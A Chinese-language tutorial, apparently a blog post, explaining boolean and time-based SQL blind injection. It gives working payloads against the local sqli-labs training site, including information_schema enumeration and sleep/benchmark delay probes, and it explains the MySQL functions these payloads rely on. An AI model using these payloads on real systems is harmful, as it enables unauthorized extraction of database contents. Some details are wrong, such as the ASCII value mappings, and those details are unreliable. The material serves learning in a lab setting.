盲注原理

盲注的分类

盲注常用函数

一、SQL盲注概述

盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注

1.如果数据库运行返回结果时只反馈对错不会返回数据库中的信息 此时可以采用逻辑判断是否正确的盲注来获取信息。
2.盲注是不能通过直接显示的途径来获取数据库数据的方法。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同,一般分为三类)

需要掌握函数
substr用法
格式:substr(索引开始位,索引结束位)
索引开始从1开始
ascii用法
length用法

1、布尔盲注

原理:
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

流程:
求当前数据库的长度以及ASCII
求当前数据库表的ASCII
求当前数据库表中的个数
求当前数据库表中其中一个表的表名长度
求当前数据库中其中一个表的表名的ASCII
求列名的数量
求列名的长度
求列名的ascii
求字段的数量
求字段内容的长度
求字段内容的ascii
这里以sqlabs靶场为例通过length函数 判断数据库长度和数据表字段信息数量。
通过substr、ascii函数 判断数据库名、表名、字段值等。求数据库的长度
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database()) = 8 --+判断数据库第一位的字母
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),1,1) = 's' --+求数据库中表的长度
第一个表名长度:'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+
第二个表名长度 'and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+
长度为6、8查询第一个表的第一位字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+查询第二个表的第二个字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=117--+判断字段的长度
'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+‘判断字段长度名称第一个字母的ascii'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+判断第二位长度名称第一个字母的ascii
'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115--+

2、时间盲注

原理:
如论我们输入的语句是否合法,页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。可以尝试基于时间的盲注来测试。根据页面响应的时间,来判断输入的信息是否正确。
在可以判断返回正确还是错误的情况下,两种注入方法都可以用,延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误。

通过构造的语句查看页面响应时间来判断
会用到的函数:lenght、substr、ascii  limit
if(条件,A,B)如果条件成立执行A 否则执行B
可以结合 > < = 判断运算符,采用二分法,构造如下的语句,分别猜测试出8字符,比如,先用 > 50判断,如果成立,再用< 123 判断,如果不成立,则正确的值就在50-123之前,
这样不段的尝试最终用= 确定具体值。
?id=1’ and if ((ascii(substr(database(),1,1))>50),sleep(3),1) – +
?id=1’ and if ((ascii(substr(database(),1,1))<123),sleep(3),1) – +
?id=1’ and if ((ascii(substr(database(),1,1))=115),sleep(3),1) – +
  • sql时间类型的盲注本质是利用插入的sql语句执行造成时间延迟

MySQL时间盲注几种延迟方法:

get_lock函数() 需要使用 mysql_pconnect函数来连接数据库。

在一个session中可以先锁定一个变量例如:select get_lock(‘do9gy’,1)。

然后通过另一个session再次执行get_lock(‘do9gy’,5)此时会产生5秒的延迟,其效果类似于sleep(5)。

1、二分法

  • 二分法SQL盲注示例
返回正常说明长度小于10
and exists(select * from admin where id=1 and len(name)< 10)
返回正常说明长度大于5
and exists(select * from admin where id=1 and len(name)> 5)
返回正常说明密码第一个字符是应用('0'='48','a'='65','A‘=97)
and exists (select * from admin where id=1 and mid(password,1,1)>'a')
mid() 截取
mid(column_name,start,length)

rand() 产生一个随机函数

floor() 向下取整的函数
floor(rand(0)*2) 返回0或者1
floor(rand(0)*2) 返回0或者1
创建一个table
insert into table value(1,‘a’,‘b’) select floor(rand(0)*2) from tbale

SQL注入常用函数

1 .布尔型

  • left(a,b)从左截取a 的前b位:left(database(),1) > ‘s’
  • substr(a,b,c)从b位置开始,截取字符串a的c长度
  • ascii() 将某个字符转换为ascii值:ascii(substr(user),1,1)=101#
  • mid(a,b,c)从位置b开始,截取a字符串的c位 regexp正则表达式的用法
  • user()结果位root ,regexp为匹配root的正则表达式:select user()’

(1)left(a,b)函数

  • LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
  • LEFT(str,length);如果str或length参数为null,则返回null。
  • str是要提取字符串的字符串、length是一个正整数,指定将从左边返回的字符数。
  • length大于str字符串的长度,则LEFT返回整个str字符串 (返回str的长度,以字节为单位,一个多字节可算作多字节。

(2)substr() 或 substring()函数

  • SBUSTR(str,pos)开始的位置,一直截取到最后。

  • SBUSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)![在这里插入图片描述

  • SELECT SUBSTRING(‘chinese’,-3); //倒数第三个字符之后的子字符串-ese

(3)ord() mid()函数

  • 函数ord() 函数返回字符串str的最左面字符的ASCII代码值

  • 函数mid()用于得到字符串的一部分。

(4)cast() 和 convert()函数
cast() convert() 函数可用来获取一个类型的值,并生产另一个类型的值。

> 可转换的类型 二进制,通带binary前缀的效果:BINARY 字符型,
> 可带参数:char()
> 日期:DATE
> 时间:time
> 日期时间型:datetime
> 浮点型:decimal
> 整数:signen
> 无符号整数:unsignen

(5)ifnull()函数

  • IFNULL()意义是当字段A是NULL时取B,不是NULL取A

(6)sleep()或benchmark()

通过执行select sleep(n)可以让此语句执行n秒
条件:指定条件的记录存在时才会停止指定的秒数
列如:查询条件为name='pig’结果表明记录不存在,执行结果为0

(7).基于时间的盲注在使用延迟函数上可以有两个选择:

benchmark(count,expr)函数
sleep(time)函数
前者通过将expr语句执行 count次来到达延迟的目的,后者是直接延迟time时间
benchmark是一个内置函数,其作用是来测试一写函数的执行速度,benchmark()其中有两个参数,
第一个是执行次数,另一个是要执行的函数或者表达式。

3.Xpath类型函数(mysql version >= 5.1.5)

(1)updatexml() 函数功能:改变文档中符合条件的节点的值。
Updatexml(xml_documnet,XPath_string,new_value);
第一个参数:XML_document是string格式,为XML文档对象的名称
第二个参数:XPath_string(Xpath格式的字符串)
第三个参数:new_value,string格式,替换查找到的符合条件的数据
超过长度可以配合substr()

(2)extractvalue() 函数功能:对XML文档进行查询的函数,其实就是相当于HTML文件中标签查找元素。

语法:extractvalue(目标XML文件,XML路径)

第二个参数 xml中位置是可以操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx…
这种格式,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法内容就是号想要查询的内容

SQL盲注(原理概述、分类)相关推荐

  1. SQL盲注攻击的简单介绍

    SQL盲注攻击的简单介绍 1 简介      1.1 普通SQL注入技术概述      目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:      (1) 脚本注入式的 ...

  2. dnslog盲注原理

    Dnslog盲注原理 布尔盲注和时间盲注相当于猜单词的游戏,我们需要对每一位逐步的猜测,效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护 我们需要一种方式能够减少请求,直接回显数据-- ...

  3. mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注

    上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...

  4. DVWA——sql盲注

    一.盲注 与sql注入区别: 盲注只回复是或否,Sql注入回复详细信息: 过程: 1.判断是否存在注入,注入时字符型还是数字型 2.猜解数据库的长度,猜解数据库的名称 3.猜解数据库中有几个表,猜解表 ...

  5. 【网站架构】网站系统怎么才是安全的?安全验收?等保、网络安全、SQL盲注、https、鉴权

    大家好,欢迎来到停止重构的频道. 本期我们讨论网站系统的安全性. 安全的重要性不言而喻,大部分安全问题确实是安全扫描后根据指引修改就可以了. 但是仍有一些问题修改起来是特别麻烦的,这些问题会严重影响上 ...

  6. sql盲注的一些小心得

    一.关于概念 sql 盲注是对于那些页面没有回显的错误,只能依靠自己的经验去一点一点猜测,这就比较耗费时间了, 具体的一些原理可以参考https://blog.csdn.net/qq_36706878 ...

  7. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的 ...

  8. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

    前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...

  9. sql注入攻击与防御第二版读书笔记二——SQL盲注利用

    寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...

  10. python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注

    一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...

最新文章

  1. 服务器架设笔记——搭建用户注册和验证功能
  2. 数据特殊显示``````
  3. 字节跳动花50亿买了个什么?
  4. SPC5Studio 入门
  5. 时序分析:KMP算法用于序列识别
  6. java反射机制_java反射机制的讲解
  7. 人工神经网络心得体会_卷积神经网络学习心得
  8. struts2值栈分析
  9. XDU暑训2019 Day4 POJ2387
  10. word如何让单页变横向
  11. 微信小程序开发者工具出现Framework inner error错误
  12. fgetc 与 getc的区别
  13. html如何做动态桌面壁纸,wallpaper engine怎么自己做壁纸?动态壁纸制作方法
  14. android手机禁止休眠_Android的屏幕禁止休眠和锁屏的方法
  15. Windows家庭版添加本地组策略编辑器的方法
  16. Java判断本周属于该年的第几周
  17. 【Leetcode刷题Python】40. 组合总和 II
  18. CentOS7配置sendmail发送QQ邮件
  19. 最简单测试工具开发教程(有手就行)
  20. 怎样做优化才能提升网站的SEO排名?

热门文章

  1. layui扩展第三方模块_Layui集成第三方插件nicescroll
  2. 虚拟机软件、虚拟机、操作系统它们之间的关系
  3. 《复变函数论》试题库及答案
  4. matlab中 dataset用法,dataset中shuffle()、repeat()、batch()用法
  5. ajax struts2 乱码,struts,ajax出现乱码的解决方法
  6. Pycharm解决plotly不显示离线网页的问题
  7. SmartAdmin(SmartAdmin_v1.5.2)
  8. wordpress网站提示“建立数据库连接时出错”
  9. html颜色代码生成器,在线取色配色工具,CSS3渐变色代码生成器-易玩稀有
  10. 一款Java开源的Springboot即时通讯 IM,附源码